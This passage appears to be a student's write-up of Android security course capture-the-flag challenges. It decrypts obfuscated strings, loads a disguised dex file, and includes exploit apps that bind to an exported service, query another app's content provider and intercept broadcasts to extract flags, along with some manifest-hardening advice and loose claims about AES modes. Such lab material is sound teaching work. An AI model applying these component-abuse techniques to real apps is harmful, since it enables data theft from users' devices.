            cipher.init(2, skeySpec, iv);
            String decoded = new String(cipher.doFinal(ciphertext));
            return decoded;
        } catch (Exception e) {
            e.printStackTrace();
```

```
            return null;
        }
    }

    private static String generateClass() {
        return decryptString("zbTHGeQeUUxj3dJ43fDwkcKmk4erD60GZXReeWl3ITA=");
    }

    private static String generateMethod() {
        return decryptString("LlzQOUB3opWgJZeFNI/Jsg==");
    }

    private static String getAssetsName() {
        return decryptString("oxTrCOohrr2fAZfJZAjcNA==");
    }

    private static String getCodeName() {
        return decryptString("FxojiPxNKXdtYiY65LK1CA==");
    }

    private static String decryptString(String s) {
        try {
                                                SecretKeySpec skeySpec = new
SecretKeySpec("mobiotseccomkey!".getBytes("UTF-8"), "AES");
            IvParameterSpec iv = new IvParameterSpec(initVector);
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
            cipher.init(2, skeySpec, iv);
                                                    String decoded = new
String(cipher.doFinal(Base64.getDecoder().decode(s.getBytes())));
            return decoded;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    public static void main(String[] args) {
        // https://www.math.unipd.it/~elosiouk/test.dex
        final String gu = new Solve().gu();
        System.out.println("Class loaded from " + gu);

        // There's a .png that is actually a .dex
        // there you can find the necessary classes
        System.out.println(generateClass());
        System.out.println(generateMethod());
        System.out.println(getAssetsName());
        System.out.println(getCodeName());
    }
}
```

15.4. Prof. solution

In this writeup, we will be using JADX as our decompiler of choice. We locate “MainActivity” and “DoStuff”. We are interested in the method “DoStuff.start(..)”.

We look into the first interesting call.

String path = df(gu(), ctx.getCodeCacheDir().getAbsolutePath());

The “gu()” function invokes another utility function with an encrypted string as its parameter.

private String gu() { return ds(“Bj9yLW24l0OpvkoxoPXLb+UqJGp1t1slVcl/aTlHM+iolk4i083NV8E1L-NJj/6w1”); }

The “ds(…)” function decrypts a string and returns its true value. The Secret Key is “mobiotseccomkey!”, as we can see inside the code which utilizes the package name parts. The same decryption method is used multiple times inside “DoStuff”. To find out the real value of the strings, we can simply create our own encryption function by mirroring “ds(..)”.

Thus, “gu()” returns a download URL, used by “df(..)”. This method establishes an HTTP connection in order to download a file which is stored locally. We will probably need to retrieve this file, but let’s go on with code reversing.

return lc(path)

The “lc(..)” function loads a class from a dex file and invokes one of its methods. The dex file is exactly the file we downloaded in “df(..)”. The names of the class and the method are also encrypted, and their real values must be retrieved by using the same technique as before.

We now need to retrieve the dex file which is downloaded. This file is temporary, but you can download it by simply copy-pasting the URL and downloading it from any browser. A more advanced method would be to use Frida and remove the logic which deletes the file.

We open “test.dex” with JADX. We are interested in “LoadImage.load(..)”, the method invoked by “lc(..)” through the DexClassLoader. This method looks for a specific resource asset (an image) and loads it as a class. Meaning that this “logo.png” asset is in fact a dex file!

Another class and method are loaded from “logo.png”.

We go back to “LoadMe.apk”, extract “logo.png” and open it with JADX. Inside it, we can find a simple check with the Flag shown in clear text.

boolean b = flag.equals(“FLAG{memores_acti_prudentes_futuri}”); return b;

16. Bonus challenges

16.1. Reachingout

This was a challenge present in 2022-2023, didn't do it this year. Sadly, I tried some configurations, but it can't be completed, given the config file is pretty broken and even working out the Dockerfile, I didn't manage to solve it. Moving on.

16.1.1. Challenge description

There is an HTTP server listening on 127.0.0.1:8085. The flag is there. It's easy, but you may need to pro-up your math skills.

16.2. Unbindable

16.2.1. Challenge description

This was a challenge present in 2022-2023, didn't do it this year.

Bind to the service and get the flag. It can't get any easier.

```
================================================================
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.victimapp">

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.VictimApp">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
          <service android:name=".UnbindableService" android:enabled="true"
android:exported="true"/>
    </application>

</manifest>
================================================================
package com.example.victimapp;

import android.app.Service;
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.os.Messenger;
import android.os.RemoteException;
import android.util.Log;

import java.util.ArrayList;
```

```
public class UnbindableService extends Service {

    ArrayList<Messenger> mClients = new ArrayList<Messenger>();

    int mValue = 0;

    static final int MSG_REGISTER_CLIENT = 1;

    static final int MSG_UNREGISTER_CLIENT = 2;

    static final int MSG_SET_VALUE = 3;

    static final int MSG_GET_FLAG = 4;

    static final String TAG = "MOBIOTSEC";

    class IncomingHandler extends Handler {
        @Override
        public void handleMessage(Message msg) {
            switch (msg.what) {
                case MSG_REGISTER_CLIENT:
                    mClients.add(msg.replyTo);
                    Log.i(TAG, "Malicious app bound to the service");
                    break;
                case MSG_UNREGISTER_CLIENT:
                    mClients.remove(msg.replyTo);
                    break;
                case MSG_SET_VALUE:
                    mValue = msg.arg1;
                    for (int i=mClients.size()-1; i>=0; i--) {
                        try {
                            mClients.get(i).send(Message.obtain(null,
                                    MSG_SET_VALUE, mValue, 0));
                        } catch (RemoteException e) {
                            // The client is dead.  Remove it from the list;
                            // we are going through the list from back to front
                            // so this is safe to do inside the loop.
                            mClients.remove(i);
                        }
                    }
                    break;
                case MSG_GET_FLAG:
                    for (int i=mClients.size()-1; i>=0; i--)
                        try {
                            Bundle b = new Bundle();
                            b.putString("flag", MainActivity.flag);
                            mClients.get(i).send(Message.obtain(null,
                                    MSG_GET_FLAG, b));
                        } catch (RemoteException e) {
                            // The client is dead.  Remove it from the list;
                            // we are going through the list from back to front
                            // so this is safe to do inside the loop.
                            mClients.remove(i);
                        }
                    break;
```

```
                default:
                    super.handleMessage(msg);
            }
        }
    }

    final Messenger mMessenger = new Messenger(new IncomingHandler());

    @Override
    public void onCreate() {

    }
    @Override
    public void onDestroy() {

    }

    @Override
    public IBinder onBind(Intent intent) {
        return mMessenger.getBinder();
    }
}
```

16.2.2. Solution 1

Basically, one has to connect to the service asking for the flag.

```
package com.example.unbindable;

import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.os.Messenger;
import android.os.RemoteException;
import android.util.Log;

import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {

    static final String TAG = "MOBIOTSEC";

    static final int MSG_REGISTER_CLIENT = 1;
    static final int MSG_GET_FLAG = 4;

    private Messenger mService;

    private final ServiceConnection mConnection = new ServiceConnection() {
        public void onServiceConnected(ComponentName className, IBinder service) {
            mService = new Messenger(service);
            // Register with the service
            registerService();
```

```
        }

        public void onServiceDisconnected(ComponentName className) {
            mService = null;
        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent serviceIntent = new Intent();
        // Package name + class that implements the service
                serviceIntent.setComponent(new  ComponentName("com.example.victimapp",
"com.example.victimapp.UnbindableService"));

        // Bind to the service
        bindService(serviceIntent, mConnection, Context.BIND_AUTO_CREATE);

        // Call requestFlag() when the activity is created
        requestFlag();
    }


    @Override
    protected void onDestroy() {
        super.onDestroy();
        // Unbind from the service
        if (mService != null) {
            unbindService(mConnection);
        }
    }

    private void registerService() {
        if (mService != null) {
            Message msg = Message.obtain(null, MSG_REGISTER_CLIENT);
            msg.replyTo = new Messenger(incomingHandler);            try {
                mService.send(msg);
            } catch (RemoteException e) {
                e.printStackTrace();
            }
        }
    }

    private void requestFlag() {
        if (mService != null) {
            // Send a message to request the flag
            Message msg = Message.obtain(null, MSG_GET_FLAG);
            try {
                mService.send(msg);
            } catch (RemoteException e) {
                e.printStackTrace();
            }
        }
    }
```

```
    // Handler for receiving messages from the service
    private final Handler incomingHandler = new Handler(message -> {
        if (message.what == MSG_GET_FLAG) {// Handle the received flag here
            Bundle data = message.getData();
            if (data != null) {
                String flag = data.getString("flag", "");
                Log.d(TAG, "Received flag: " + flag);
            }
        } else {
          return false; // Return false to allow normal handling for unhandled messages
        }
        return true; // Return true to indicate that the message was handled
    });
}
```

16.2.3. Solution 2

```
package com.example.maliciousapp6;

import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;

import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.os.Messenger;
import android.util.Log;
import android.widget.Toast;

public class MainActivity extends AppCompatActivity {
    static final String TAG = "MOBIOTSEC";

    private Intent serviceIntent;


    static final int MSG_REGISTER_CLIENT = 1;
    static final int MSG_UNREGISTER_CLIENT = 2;
    static final int MSG_SET_VALUE = 3;
    static final int MSG_GET_FLAG = 4;

    private boolean mIsBound = false;
    Messenger mServiceOtherAppMessenger, mReciverMessengerHandler;


    class RecieverHandler extends Handler {
        @Override
        public void handleMessage(@NonNull Message msg) {
            switch (msg.what){
                case MSG_REGISTER_CLIENT:
                    Log.i(TAG, "MY: MaliciousApp: bound to the service");
                    break;
                case MSG_GET_FLAG:
```

```
                    Bundle b = (Bundle) msg.obj;
                    String flag = b.get("flag").toString();
                    Log.i(TAG, "flag: " + flag);
                    break;
                default:
                    break;
            }
            super.handleMessage(msg);
        }
    }

    ServiceConnection serviceConnection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            try {
                mServiceOtherAppMessenger = new Messenger(service);
                mReciverMessengerHandler = new Messenger(new RecieverHandler());
                mIsBound = true;
                Log.i(TAG, "onServiceConnected");
                myfunction();
            } catch(Exception e){
                Log.e(TAG, e.toString());
            }

        }

        @Override
        public void onServiceDisconnected(ComponentName name) {
            try {
                mServiceOtherAppMessenger = null;
                mReciverMessengerHandler = null;
                mIsBound = false;
                Log.i(TAG, "onServiceDisconnected");
            }catch(Exception e){
                Log.e(TAG,e.toString());
            }
        }
    };

    public void myfunction(){
        if(!mIsBound){
            return;
        }
        // Create and send a message to the service, using a supported 'what' value
        Message msg = Message.obtain(null, MSG_REGISTER_CLIENT);
        msg.replyTo = mReciverMessengerHandler; // set into the message the messenger
handler as (FROM) [me]
        Message msg2 = Message.obtain(null, MSG_GET_FLAG);

        try{
            mServiceOtherAppMessenger.send(msg);
            mServiceOtherAppMessenger.send(msg2);
        } catch (Exception e){
            Log.e(TAG, "myfunciton(): " + e.toString() );
        }
    }
```

```
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        serviceIntent = new Intent();
                                                    //package name                 //
package name + class that implement the service
                                                        serviceIntent.setComponent(new
ComponentName("com.example.victimapp","com.example.victimapp.UnbindableService"));

        bindToRemoteService();

    }

    private void bindToRemoteService(){
        bindService(serviceIntent, serviceConnection, Context.BIND_AUTO_CREATE);
                        Toast.makeText(getApplicationContext(),   "service   bound",
Toast.LENGTH_SHORT).show();
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        if(mIsBound){
            unbindService(serviceConnection);
            mIsBound = false;
        }
        Log.i(TAG, "onDestroy");
    }

    @Override
    protected void onStop() {
        super.onStop();
        if (mIsBound){
            unbindService(serviceConnection);
            mIsBound = false;
        }
        Log.i(TAG, "onStop");
    }
}
```

16.2.4. Prof. solution

```
package com.example.maliciousapp;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.os.Messenger;
```

```
import android.os.RemoteException;
import android.util.Log;

public class MainActivity extends Activity {
    /** Messenger for communicating with the service. */
    Messenger mService = null;

    /** Flag indicating whether we have called bind on the service. */
    boolean bound;

    static final int MSG_REGISTER_CLIENT = 1;

    static final int MSG_SET_VALUE = 3;

    static final int MSG_GET_FLAG = 4;

    static final String TAG = "MOBIOTSEC";

    /**
     * Handler of incoming messages from service.
     */
    class IncomingHandler extends Handler {
        @Override
        public void handleMessage(Message msg) {
            switch (msg.what) {
                case MSG_SET_VALUE:
                    Log.i(TAG, String.valueOf(msg.arg1));
                case MSG_GET_FLAG:
                    try{
                        Bundle b = (Bundle) msg.obj;
                        Log.i(TAG, b.get("flag").toString());
                    } catch (Exception e){
                        Log.getStackTraceString(e);
                    }
                    break;
                default:
                    super.handleMessage(msg);
            }
        }
    }

    /**
     * Target we publish for clients to send messages to IncomingHandler.
     */
    final Messenger mMessenger = new Messenger(new IncomingHandler());


    /**
     * Class for interacting with the main interface of the service.
     */
    private ServiceConnection mConnection = new ServiceConnection() {
        public void onServiceConnected(ComponentName className, IBinder service) {
            // This is called when the connection with the service has been
            // established, giving us the object we can use to
            // interact with the service.  We are communicating with the
            // service using a Messenger, so here we get a client-side
```

```
            // representation of that from the raw IBinder object.
            Log.i(TAG, "I am in!");
            mService = new Messenger(service);
            bound = true;
            sayHello();
        }

        public void onServiceDisconnected(ComponentName className) {
            // This is called when the connection with the service has been
            // unexpectedly disconnected -- that is, its process crashed.
            mService = null;
            bound = false;
            Log.i(TAG, "onServiceDisconnected");
        }
    };

    public void sayHello() {
        if (!bound) return;
        // Create and send a message to the service, using a supported 'what' value
        Message msg = Message.obtain(null, MSG_REGISTER_CLIENT);
        msg.replyTo = mMessenger;
        Message msg1 = Message.obtain(null, MSG_SET_VALUE, 2 ,0);
        Message msg2 = Message.obtain(null, MSG_GET_FLAG);
        try {
            mService.send(msg);
            mService.send(msg1);
            mService.send(msg2);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }

    @Override
    protected void onStart() {
        super.onStart();
        // Bind to the service
        Intent i = new Intent();
                        i.setComponent(new   ComponentName("com.example.victimapp",
"com.example.victimapp.UnbindableService"));
        bindService(i, mConnection, Context.BIND_AUTO_CREATE);
    }

    @Override
    protected void onStop() {
        super.onStop();
        // Unbind from the service
        if (bound) {
            unbindService(mConnection);
            bound = false;
        }
```

```
    }
}
```

16.3. Exam sample present in Mega 2022-2023

16.3.1. Challenge description

You are provided two apps (utility.apk and exam.apk). To solve the challenge, you have to develop an app that MUST interact with both utility.apk and exam.apk and print the flag. Thus, you have to submit the Android app you develop.

16.3.2. Solution

From the official solution writeup:

- inspecting the gimme the flag intent we get `FLAGer{2RvbmVfeW91X2hhdmVfcGFzc2VkX3RoZV9leGFtIX0=`
- we notice some kind of provider
- not a basic one, copy logic of *Dbhelper* and exploit it to analyze content
- we use it and found 69 records, one with author mobiotsec_exam
- sending that as *firstFlagPart* to the *gimmetheflag* intent returns us a string, which decoded from Base64 gets us the flag

Here, how MyProvider is present:

```
package com.example.maliciousapp

/* loaded from: classes.dex */
class MyProvider : ContentProvider() {
    private var db: SQLiteDatabase? = null

    companion object {
        const val COLUMN_AUTHOR = "author"
        const val COLUMN_JOKE = "joke"
        const val DATABASE_NAME = "JokeDB"
        private const val DATABASE_VERSION = 1
        const val PROVIDER_NAME = "com.example.victimapp.MyProvider"
        const val TABLE_NAME = "joke"
        const val uriCode = 1
        var uriMatcher: UriMatcher? = null
        const val URL = "content://com.example.victimapp.MyProvider/joke"
        val CONTENT_URI = Uri.parse(URL)

        init {
            val uriMatcher2 = UriMatcher(-1)
            uriMatcher = uriMatcher2
            uriMatcher2.addURI(PROVIDER_NAME, "joke", 1)
        }
    }

    // android.content.ContentProvider
    override fun onCreate(): Boolean {
        val context = context
        val dbHelper = DatabaseHelper(context)
        val writableDatabase = dbHelper.writableDatabase
        db = writableDatabase
        return if (writableDatabase != null) {
            true
        } else false
    }
```

```
    // android.content.ContentProvider
    override fun query(
        uri: Uri,
        projection: Array<String>?,
        selection: String?,
        selectionArgs: Array<String>?,
        sortOrder: String?
    ): Cursor? {
        val qb = SQLiteQueryBuilder()
        qb.tables = "joke"
      val c = qb.query(db, projection, selection, selectionArgs, null, null, sortOrder)
        c.setNotificationUri(context!!.contentResolver, uri)
        return c
    }

    // android.content.ContentProvider
    override fun getType(uri: Uri): String? {
        return null
    }

    // android.content.ContentProvider
    override fun insert(uri: Uri, values: ContentValues?): Uri? {
        throw SQLiteException("Failed to add a record into $uri")
    }

    // android.content.ContentProvider
    override fun delete(uri: Uri, s: String?, strings: Array<String>?): Int {
        return 0
    }

    // android.content.ContentProvider
    override fun update(
        uri: Uri,
        contentValues: ContentValues?,
        s: String?,
        strings: Array<String>?
    ): Int {
        return 0
    }

    /* loaded from: classes.dex */
    public class DatabaseHelper internal constructor(context: Context?) :
        SQLiteOpenHelper(context, DATABASE_NAME, null as CursorFactory?, 1) {
        // android.database.sqlite.SQLiteOpenHelper
        override fun onCreate(db: SQLiteDatabase) {
               db.execSQL(" CREATE TABLE joke (id INTEGER PRIMARY KEY AUTOINCREMENT,
author TEXT NOT NULL,  joke TEXT NOT NULL);")
            //...create records data...
        }

        // android.database.sqlite.SQLiteOpenHelper
        override fun onUpgrade(db: SQLiteDatabase, oldVersion: Int, newVersion: Int) {
            db.execSQL("DROP TABLE IF EXISTS joke")
            onCreate(db)
        }
```

```
    }
}
```

How to use the DB provider:

```
val dbHelper=MyProvider.DatabaseHelper(this)
val db=dbHelper.readableDatabase

val cursor = db.query(
    TABLE_NAME,
    arrayOf("*"),
    "",
    null,
    null,
    null,
    null
)
log("found ${cursor!!.count}")
cursor.moveToFirst()
var jokeToKeep=""
while (!cursor.isLast) {
    val id = cursor.getString(cursor.getColumnIndexOrThrow("id"))
    val author = cursor.getString(cursor.getColumnIndexOrThrow("author"))
    val joke = cursor.getString(cursor.getColumnIndexOrThrow("joke"))
    if(author=="mobiotsec_exam"){
        jokeToKeep=joke
    }
    log("Processing row $id, $author, $joke")
    cursor.moveToNext()
}

val intent = Intent("com.mobiotsec.exam.intent.action.GIMMETHEFLAG")
intent.putExtra("firstFlagPart", jokeToKeep)
intentInspector.launch(intent)
```

Getting & converting b64:

```
val b64=intent.getStringExtra("flag")
val flagBytes=Base64.decode(b64, Base64.DEFAULT);
log(String(flagBytes, Charset.defaultCharset()))
```

Getting the flag: > `FLAG{well_done_you_have_passed_the_exam!}`

16.4. Exam samples 2023-2024

16.4.1. Filehasher

16.4.1.1. Challenge description

The developer of the filehasher challenge has been asked to make the interaction between the victim app and another app more secure. Thus, he has decided to change the way the victim app interacts with another app.

Complete the challenge by adapting the template of the provided malicious app.

Hint: no modification to the Java source code is required...

16.4.1.2. Solution

Basically, what we need to do here is simply to adapt the code to be considered secure, which for once is actually fun. From a security point of view, we know everything there is to consider is inside the manifest file, so both the MainActivity and the Hashme file considered in the previous solution are declared inside the Manifest.

One point one could start with is removing the "android:exported=true" so these modules are not exposed on the outside (so, just put "android:exported=false"), for example like:

```
<activity android:name=".MainActivity"
    android:exported="false">
    <!-- ... existing intent filter ... -->
</activity>

<activity android:name=".HashMe"
    android:exported="false">
    <!-- ... existing intent filter ... -->
</activity>
```

Given the hint, definitely one should look only inside the "AndroidManifest" and for example declare a custom permission like the following one:

```
<permission
    android:name="com.example.myapplication.PERMISSION_HASH"
    android:protectionLevel="signature" />
```

Inside the *HashMe* activity, we declare a custom permission to ensure only existing apps only with the specified permission can access this activity:

```
<activity android:name=".HashMe"
    android:exported="false"
    android:permission="com.example.myapplication.PERMISSION_HASH">
    <!-- ... existing intent filter ... -->
</activity>
```

16.4.2. Jokeprovider

16.4.2.1. Challenge description

We know that it is not allowed to have two apps with the same package name, but it is possible to have two or more apps with the same signature...the developer of the jokeprovider challenge has decided to introduce a security check for every query request. Unfortunately, he forgot some sensitive information in a directory of the app.

Complete the challenge by:

- replacing in the template app provided within the zip file all the “******”" symbols with the appropriate ones
- understanding the new security mechanism introduced by the developer

Tips:
- the command “apktool d “ might useful
- the password “mobisec” might be useful

16.4.2.2. Solution

We check inside the template app what we should replace:

```
package com.example.myapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.content.pm.PackageManager;
import android.content.pm.Signature;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;

public class MainActivity extends AppCompatActivity {

    private static final String TAG = "MOBIOTSEC";
    static final String PROVIDER_NAME = "***";
    static final String TABLE_NAME = "***";
    static final String URL = "***";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Signature[] sigs = new Signature[0];
        try {
             sigs = this.getPackageManager().getPackageInfo(this.getPackageName(),
PackageManager.GET_SIGNATURES).signatures;
        } catch (PackageManager.NameNotFoundException e) {
            throw new RuntimeException(e);
        }
        for (Signature sig : sigs) {
            Log.i("MOBIOTSEC", "Signature hashcode malicious: " + sig.hashCode());
        }

        Uri contentUri = Uri.parse(URL);

        String[] projection = { "***", "***" };

        Log.i(TAG,"Cursor Query Start");

        Cursor cursor = getContentResolver().query(
                contentUri,
                projection,
                null,
```

```
                null,
                null
        );

        Log.i(TAG,"Cursor Query Done");
        StringBuilder stringBuilder = new StringBuilder();

        if (cursor == null) {
            Log.e(TAG,"Null Cursor Error");
        }
        else if (cursor.getCount() < 1) {
            Log.d(TAG,"Unsuccessful Cursor Search");
        } else {
            while (cursor.moveToNext()) {
                int authorIndex = cursor.getColumnIndex("***");
                String authorValue = cursor.getString(authorIndex);
                Log.i(TAG,"Author: " + authorValue);

                int jokeIndex = cursor.getColumnIndex("***");
                String jokeValue = cursor.getString(jokeIndex);
                Log.i(TAG,"Joke: " + jokeValue);

                if (authorValue.equals("***")) {
                    stringBuilder.append(jokeValue);
                }
            }
            cursor.close();
        }
        Log.i(TAG,"Flag: " + stringBuilder.toString());
    }
}
```

We do what is suggested inside the challenge text and simply use *apktool* command to get a glimpse of the *smali* classes, which one can find inside the 'sources/com' path:

```
.class public Lcom/example/victimapp/MyProvider;
.super Landroid/content/ContentProvider;
.source "MyProvider.java"


# annotations
.annotation system Ldalvik/annotation/MemberClasses;
    value = {
        Lcom/example/victimapp/MyProvider$DatabaseHelper;
    }
.end annotation

# static fields
.field static final COLUMN_AUTHOR:Ljava/lang/String; = "author"

.field static final COLUMN_JOKE:Ljava/lang/String; = "joke"

.field static final CONTENT_URI:Landroid/net/Uri;

.field static final DATABASE_NAME:Ljava/lang/String; = "JokeDB"
```

```
.field private static final DATABASE_VERSION:I = 0x1

.field        static        final        PROVIDER_NAME:Ljava/lang/String;        =
"com.example.victimapp.MyProvider"

.field static final TABLE_NAME:Ljava/lang/String; = "joke"

.field  static  final  URL:Ljava/lang/String;  =  "content://com.example.victimapp.
MyProvider/joke"

.field static final uriCode:I = 0x1

.field static final uriMatcher:Landroid/content/UriMatcher;

# instance fields
.field private db:Landroid/database/sqlite/SQLiteDatabase;

# direct methods
.method static constructor <clinit>()V
    .locals 4

    .line 25
    const-string v0, "content://com.example.victimapp.MyProvider/joke"

    invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;

    move-result-object v0

    sput-object v0, Lcom/example/victimapp/MyProvider;->CONTENT_URI:Landroid/net/Uri;

    .line 30
    new-instance v0, Landroid/content/UriMatcher;

    const/4 v1, -0x1

    invoke-direct {v0, v1}, Landroid/content/UriMatcher;-><init>(I)V

     sput-object v0, Lcom/example/victimapp/MyProvider;->uriMatcher:Landroid/content/
UriMatcher;

    .line 31
    const-string v1, "joke"

    const/4 v2, 0x1

    const-string v3, "com.example.victimapp.MyProvider"

    invoke-virtual {v0, v3, v1, v2}, Landroid/content/UriMatcher;->addURI(Ljava/lang/
String;Ljava/lang/String;I)V

    .line 32
    return-void
.end method

.method public constructor <init>()V
    .locals 0
```

```
    .line 21
    invoke-direct {p0}, Landroid/content/ContentProvider;-><init>()V

    return-void
.end method

### rest of the code....
```

Then, inside *MyProvider* smali file, we see the jokes to call:

```
    ### rest of the code

    const-string v64, "FLAG{Homo"

    const-string v65, "_faber_"

    const-string v66, "fortunae_"

    const-string v67, "suae}"


    filled-new-array/range {v4 .. v75}, [Ljava/lang/String;

    move-result-object v4

    ### rest of the code
```

We simply need to replace inside the code the specified flags like follows:

```
package com.example.myapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.content.pm.PackageManager;
import android.content.pm.Signature;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;

public class MainActivity extends AppCompatActivity {

    private static final String TAG = "MOBIOTSEC";
    static final String PROVIDER_NAME = "com.example.victimapp.MyProvider";
    static final String TABLE_NAME = "joke";
    static final String URL = "content://com.example.victimapp.MyProvider/joke";

    // ... (rest of the code)

    Uri contentUri = Uri.parse(URL);

    String[] projection = { "author", "joke" };

    // ... (rest of the code)
```

```
    int authorIndex = cursor.getColumnIndex("author");
    int jokeIndex = cursor.getColumnIndex("joke");

    // ... (rest of the code)

    if (authorValue.equals("elosiouk")) {
                    stringBuilder.append(jokeValue);
    }
}
```

Also, inside the MainActivity, this accesses the APK's signing signature:

```
       Signature[] sigs = new Signature[0];
        try {
             sigs = this.getPackageManager().getPackageInfo(this.getPackageName(),
PackageManager.GET_SIGNATURES).signatures;
        } catch (PackageManager.NameNotFoundException e) {
            throw new RuntimeException(e);
        }
        for (Signature sig : sigs) {
            Log.i("MOBIOTSEC", "Signature hashcode malicious: " + sig.hashCode());
        }
```

16.4.3. Justlisten

16.4.3.1. Challenge description

The developer of the justlisten app has decided to protect the value of the flag from third-party apps that might intercept the Intent sent in broadcast. To achieve his aim, the developer has encrypted the flag before sending it in broadcast.

Complete the challenge by:

- understanding the encryption algorithm introduced by the developer
- replacing in the template app provided within the zip file all the *****' symbols with the appropriate ones

16.4.3.2. Solution

Just for completion sake, we provide here the code of modified MainActivity, so to look for the specified asterisks and also the encryption algorithm:

```
package com.example.myapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.content.BroadcastReceiver;
import android.content.IntentFilter;
import android.os.Bundle;

public class MainActivity extends AppCompatActivity {

    private static final String TAG = "MOBIOTSEC";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        BroadcastReceiver br = new MyBroadcastReceiver();
```

```
        this.registerReceiver(br, new IntentFilter("victim.app.FLAG_ANNOUNCEMENT"));
    }
}
```

```
package com.example.myapplication;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.util.Base64;
import android.util.Log;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;

public class MyBroadcastReceiver extends BroadcastReceiver {
    private static final String TAG = "MOBIOTSEC";
    private static final String AES_ALGORITHM = "***";
    private static final String AES_TRANSFORMATION = "***";
    private static final String AES_SECRET_KEY = "***";

    @Override
    public void onReceive(Context context, Intent intent) {
        String action = intent.getAction();
        if(action.equals("victim.app.FLAG_ANNOUNCEMENT")) {
            Bundle bundle = intent.getExtras();
            String flag = bundle.getString("flag");
            try {
                Log.i(TAG, decryptString((flag)));
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }
    }

    private String decryptString(String encryptedText) throws Exception {
            SecretKey secretKey = new SecretKeySpec(AES_SECRET_KEY.getBytes(),
AES_ALGORITHM);
        Cipher cipher = Cipher.getInstance(AES_TRANSFORMATION);
        cipher.init("***", "***");
              byte[] decryptedBytes = cipher.doFinal(Base64.decode(encryptedText,
Base64.DEFAULT));
        return new String(decryptedBytes);
    }
}
```

So, basically:

- the algorithm applied here seems evidently "AES", considering also the doc says it's only a string specifying which kind of algorithm to apply;

The *AES_TRANSFORMATION* constant should be set to one of the following values (at least for AES, there are many in docs):

- "*AES/CBC/PKCS5Padding*": This is the most common AES transformation. It uses CBC (Cipher Block Chaining) mode and PKCS5 padding.

- "*AES/ECB/NoPadding*": This transformation is used for encrypting small amounts of data. It does not require padding.
- "*AES/CTR/NoPadding*": This transformation is a newer mode of AES that is more efficient than CBC mode. It does not require padding.

It seems like no padding is specifically required here, so possibly it's the third option of the bunch.

The *init* method *Cipher.DECRYPT_MODE* while the the *AES_SECRET_KEY* constant represents the actual secret key that will be used for decryption. This key must be a 128-bit, 192-bit, or 256-bit string. The secret key is used to encrypt and decrypt the data using the AES algorithm.

This can be either generated "by hand" or simply written as constant, or at least be randomized somehow or more secure.

Something quite simple can be using:

```
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import java.security.NoSuchAlgorithmException;
import java.util.Base64;

public class EncryptionUtil {

    public static SecretKey generateSecretKey() throws NoSuchAlgorithmException {
        KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
        keyGenerator.init(256);
        return keyGenerator.generateKey();
    }

    public static String convertSecretKeyToString(SecretKey secretKey) {
        byte[] rawData = secretKey.getEncoded();
        return Base64.getEncoder().encodeToString(rawData);
    }

    public static SecretKey convertStringToSecretKey(String encodedKey) {
        byte[] decodedKey = Base64.getDecoder().decode(encodedKey);
        return new SecretKeySpec(decodedKey, 0, decodedKey.length, "AES");
    }

   public static Cipher initCipher(int cipherMode, SecretKey secretKey) throws Exception
{
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(cipherMode, secretKey);
        return cipher;
    }
}
```

Then, do something like the following for the broadcast receiver:

```
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
```

```
import android.util.Base64;
import android.util.Log;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import java.security.NoSuchAlgorithmException;

public class MyBroadcastReceiver extends BroadcastReceiver {
    private static final String TAG = "MOBIOTSEC";
    private static final String AES_TRANSFORMATION = "AES/ECB/PKCS5Padding";

    @Override
    public void onReceive(Context context, Intent intent) {
        String action = intent.getAction();
